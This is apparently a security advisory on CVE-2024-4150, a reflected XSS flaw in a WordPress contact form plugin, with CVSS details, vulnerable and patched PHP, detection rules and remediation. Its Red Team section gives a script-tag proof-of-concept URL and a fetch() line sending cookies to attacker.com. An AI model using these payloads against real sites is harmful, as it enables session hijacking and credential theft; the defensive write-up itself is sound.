CVE-2024-4150

Executive Summary

CVE-2024-4150 is a Reflected Cross-Site Scripting (XSS) vulnerability in the Simple Basic Contact Form WordPress plugin, affecting versions up to and including 20221201. The flaw resides in the scf_email parameter, where insufficient input sanitization and output escaping allow unauthenticated attackers to inject arbitrary web scripts. Successful exploitation requires user interaction (e.g., clicking a crafted link), leading to script execution in the context of the victim’s browser. This can result in session hijacking, credential theft, or defacement. As a WordPress plugin vulnerability, it directly impacts the WordPress ecosystem and does not involve Apache or Nginx server software.

CVSS Breakdown & Threat Level

• CVSS Score: 6.1 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

The medium severity reflects the need for user interaction, but the low complexity and network attack vector make it a viable phishing vector. The changed scope indicates the injected script can affect resources beyond the vulnerable component.

Deep Dive & Mechanics

The vulnerability exists in the scf_email parameter of the Simple Basic Contact Form plugin. When a user submits the contact form, the plugin processes the email address without proper sanitization or output escaping. An attacker can craft a URL containing malicious JavaScript in the scf_email parameter. If a victim clicks the link, the script executes in the context of the WordPress site, allowing the attacker to steal cookies, redirect users, or perform actions on behalf of the victim.

The root cause is the lack of esc_attr() or esc_html() when outputting the email parameter in the form’s response or error messages. This is a classic stored/reflected XSS pattern in WordPress plugins where user input is echoed back without encoding.

Vulnerable vs. Patched Code

Vulnerable Code (simplified):

<?php
$email = $_GET['scf_email'];
echo "Email: " . $email;
?>

Patched Code (hypothetical):

<?php
$email = sanitize_email($_GET['scf_email']);
echo "Email: " . esc_html($email);
?>

The vulnerable code directly outputs the unsanitized input. The patched version uses sanitize_email() to strip malicious characters and esc_html() to encode HTML entities, preventing script injection.

Exploitation & Lab Setup

Red Team

Proof of Concept (PoC):

<!-- Crafted URL to trigger XSS -->
http://target-site.com/?scf_email=<script>alert('XSS')</script>

Exploitation Steps:

1. Identify a WordPress site running the vulnerable plugin.
2. Craft a malicious URL with the scf_email parameter containing JavaScript payload.
3. Use social engineering (e.g., phishing email) to trick a user into clicking the link.
4. The script executes in the victim’s browser, allowing cookie theft or redirection.

Advanced Payload:

// Steal cookies and send to attacker server
fetch('http://attacker.com/steal?cookie=' + document.cookie);

Blue Team

Detection:

• Monitor web logs for requests containing scf_email with script tags or encoded JavaScript.
• Use WAF rules to block common XSS patterns in query parameters.

Honeypot:

• Deploy a decoy WordPress instance with the vulnerable plugin to capture attacker payloads.

Indicators of Compromise (IOCs)

• Network: HTTP requests with scf_email parameter containing <script>, onerror, or javascript:.
• File: Modified WordPress files in /wp-content/plugins/simple-basic-contact-form/.
• Log: Web server logs showing unusual scf_email values with HTML/JavaScript.
• Behavior: Unexpected redirects or pop-ups on the WordPress site.

Detection Engineering

YARA Rule

rule CVE_2024_4150_XSS {
    meta:
        description = "Detects Reflected XSS in Simple Basic Contact Form plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-4150"
    strings:
        $payload1 = /scf_email=.*<script/i
        $payload2 = /scf_email=.*onerror/i
        $payload3 = /scf_email=.*javascript:/i
    condition:
        any of them
}

Sigma Rule

title: Reflected XSS via scf_email Parameter
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2024-4150 in Simple Basic Contact Form
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains: "scf_email="
        c-uri|re: "(<script|onerror|javascript:)"
    condition: selection
falsepositives:
    - Legitimate use of email addresses with special characters (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-4150 Reflected XSS in Simple Basic Contact Form"; flow:to_server,established; content:"scf_email="; http_uri; pcre:"/(<script|onerror|javascript:)/Ui"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

• Immediate: Disable the Simple Basic Contact Form plugin until a patch is available.
• Workaround: Implement a Web Application Firewall (WAF) rule to block scf_email parameters containing script tags.
• Long-term: Replace the plugin with an actively maintained alternative (e.g., Contact Form 7, WPForms).
• Code Fix: Apply input sanitization (sanitize_email()) and output escaping (esc_html()) to the scf_email parameter.
• User Education: Train users to avoid clicking suspicious links, especially those containing query parameters.

Valters IT
Securing Digital Frontiers